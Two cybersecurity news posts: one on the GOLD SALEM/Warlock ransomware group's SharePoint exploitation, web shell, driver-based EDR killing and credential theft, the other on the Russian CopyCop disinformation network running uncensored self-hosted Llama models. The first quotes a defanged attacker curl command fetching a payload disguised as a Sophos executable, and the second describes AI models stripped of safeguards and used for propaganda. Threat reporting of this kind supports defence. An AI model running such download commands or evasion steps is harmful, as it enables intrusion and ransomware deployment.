The cyberthreat landscape has witnessed the emergence of another sophisticated ransomware operation as GOLD SALEM, a new threat actor group also known as Warlock Group, has been actively compromising enterprise networks since March 2025.

This emerging ransomware collective has successfully targeted 60 organizations across North America, Europe, and South America, demonstrating competent tradecraft while deploying their custom Warlock ransomware payload.

Microsoft has tracked this group as Storm-2603 and suggests with moderate confidence that it operates from China, though attribution remains inconclusive.

GOLD SALEM has positioned itself strategically within the competitive ransomware ecosystem by targeting a diverse range of victims, from small commercial entities to large multinational corporations.

The group operates through a sophisticated double-extortion model, utilizing a Tor-based data leak site to publish stolen victim data when ransom demands go unpaid.

Their victim selection appears strategic, largely avoiding targets in China and Russia, though they notably listed a Russian electricity generation services company in September 2025, suggesting potential operations from outside traditional ransomware safe havens.

The threat actors made their public debut through underground forums in June 2025, posting on the RAMP forum to solicit exploits for enterprise applications including Veeam, ESXi, and SharePoint, while seeking tools to disable endpoint detection and response systems.

Sophos analysts identified the group’s sophisticated operational security measures and noted their recruitment efforts for initial access brokers, indicating either direct intrusion capabilities or the development of a ransomware-as-a-service model.

GOLD SALEM’s operational infrastructure demonstrates advanced planning and technical sophistication.

The group maintains countdown timers for each victim, typically allowing 12-14 days for ransom payment before data publication.

As of September 2025, they claim to have sold data from 45% of their victims to private buyers, though these figures may be inflated for psychological impact.

The group’s data leak site features professional presentation and victim categorization, reflecting their commitment to operational professionalism.

Advanced Evasion Techniques and Security Bypass Methods

The technical analysis reveals GOLD SALEM’s sophisticated approach to security solution bypass and persistent network access.

The group employs the ToolShell exploit chain targeting SharePoint servers for initial network compromise, leveraging a combination of critical vulnerabilities including CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, and CVE-2025-53771.

Upon successful exploitation, they deploy an ASPX web shell that creates Process objects for cmd[.]exe within the IIS worker process context, enabling remote command execution with output visibility.

A particularly notable technique observed involves their command execution through the web shell:

curl - L - o c:\\users\\public\\Sophos\\Sophos-UI[.]exe hxxps[:]//filebin[.]net/j7jqfnh8tn4alzsr/wsocks[.]exe[.]txt

This command downloads a Golang-based WebSockets server, establishing persistent access independent of the initial web shell.

The group demonstrates advanced evasion capabilities through Bring Your Own Vulnerable Driver (BYOVD) techniques, utilizing a renamed vulnerable Baidu Antivirus driver (googleApiUtil64.sys) to exploit CVE-2024-51324 for arbitrary process termination, specifically targeting EDR agents.

Their toolkit includes Mimikatz for credential extraction from LSASS memory, PsExec and Impacket for lateral movement, and Group Policy Object abuse for ransomware deployment across network endpoints.

Find this Story Interesting! Follow us on Google News, LinkedIn, and X to Get More Instant Updates.

The post GOLD SALEM Compromise Networks and Bypass Security Solutions to Deploy Warlock Ransomware appeared first on Cyber Security News.

The Russian covert influence network CopyCop has significantly expanded its disinformation campaign, establishing over 200 new fictional media websites since March 2025.

This expansion represents a marked escalation in Russian information warfare efforts, targeting democratic nations with sophisticated artificial intelligence-driven content generation and increasingly polished deception tactics.

CopyCop, also designated as Storm-1516, operates as a cornerstone of Russia’s broader influence operations ecosystem.

The network functions through a coordinated infrastructure of fake media outlets, fictional fact-checking organizations, and impersonation websites designed to undermine Western democratic institutions and erode international support for Ukraine.

Combined with previously documented operations, the network now operates over 300 websites established throughout 2025, demonstrating unprecedented scale and reach in Russian influence operations.

Recordedfuture analysts noted that these websites serve dual purposes within CopyCop’s operational framework.

First, they disseminate targeted influence content prepared by the Moscow-based Center for Geopolitical Expertise and network operator John Mark Dougan.

Second, they publish large quantities of artificial intelligence-generated content featuring pro-Russian, anti-Ukrainian, and anti-Western narratives designed to poison the global information environment.

The network’s infrastructure demonstrates sophisticated technical implementation and operational security measures.

CopyCop operators register domains in coordinated batches across linked infrastructure, maintaining dormant websites that passively generate content until activated for targeted campaigns.

This approach provides operational flexibility while building credibility through sustained content publication across multiple fictional media brands.

The network’s geographic expansion includes new targeting of Canada, Armenia, and Moldova, while sustaining established operations against the United States and France.

CopyCop has diversified its linguistic reach, publishing content in Turkish, Ukrainian, and Swahili languages never previously featured by the operation.

These developments reflect strategic adaptation to maximize audience engagement and exploit regional political vulnerabilities.

Self-Hosted Large Language Model Infrastructure

CopyCop’s most significant technical evolution involves the deployment of self-hosted, uncensored large language models based on Meta’s Llama 3 architecture.

This represents a deliberate shift away from commercial Western AI services, addressing operational security concerns while enabling unrestricted content generation aligned with Russian propaganda objectives.

Technical analysis reveals CopyCop operators utilize either the dolphin-2.9-llama3-8b or Llama-3-8B-Lexi-Uncensored models, both popular uncensored variants available through open-source platforms like HuggingFace.

Evidence supporting this assessment includes operational artifacts found within published articles, such as knowledge cutoff references to January 2023 and inconsistent JSON output formatting that suggests model performance degradation typical of “abliterated” or uncensored language models.

The network’s technical infrastructure includes sophisticated deployment mechanisms revealed through John Mark Dougan’s inadvertent exposure during French media interviews.

Video footage captured Python scripts utilizing the Ollama inference framework, specifically including functions named restart_ollama() that demonstrate operational deployment of local language model instances.

This infrastructure operates from Russian-controlled servers, with GRU financial backing supporting the computational resources required for sustained content generation.

# Example code structure observed in CopyCop operations
def restart_ollama():
    # Restart local LLM inference service
    subprocess.call(['systemctl', 'restart', 'ollama'])
    return True

The technical implementation creates significant operational advantages for CopyCop’s content generation capabilities.

Self-hosted models eliminate external dependencies on Western AI service providers while enabling fine-tuning on Russian state media content provided by TASS and other Kremlin-aligned sources.

However, this approach introduces performance constraints, as evidenced by frequent operational security failures including exposed LLM artifacts in published content and structured output formatting errors that betray automated generation.

Recordedfuture researchers identified specific instances where CopyCop articles contained explicit model instructions, such as disclaimers stating “Please note that this rewrite aims to provide a clear and concise summary of the original text while maintaining key details” and metadata referencing “objective and factual” tone requirements.

These artifacts demonstrate the network’s ongoing challenges in maintaining operational security while scaling content production through automated systems.

The infrastructure expansion enables CopyCop to produce content at unprecedented scale while targeting multiple audiences simultaneously.

The network maintains regionalized subdomain structures, such as the “Truefact” cluster featuring africa.truefact.news for Swahili content, turkey.truefact.news for Turkish audiences, and ukraine.truefact.news for Ukrainian-language disinformation.

This approach maximizes content distribution while providing resilience against individual domain takedowns through mirrored hosting across multiple subdomains.

Find this Story Interesting! Follow us on Google News, LinkedIn, and X to Get More Instant Updates.

The post Russian Fake-News Network CopyCop Added 200+ New Websites to Targets US, Canada and France appeared first on Cyber Security News.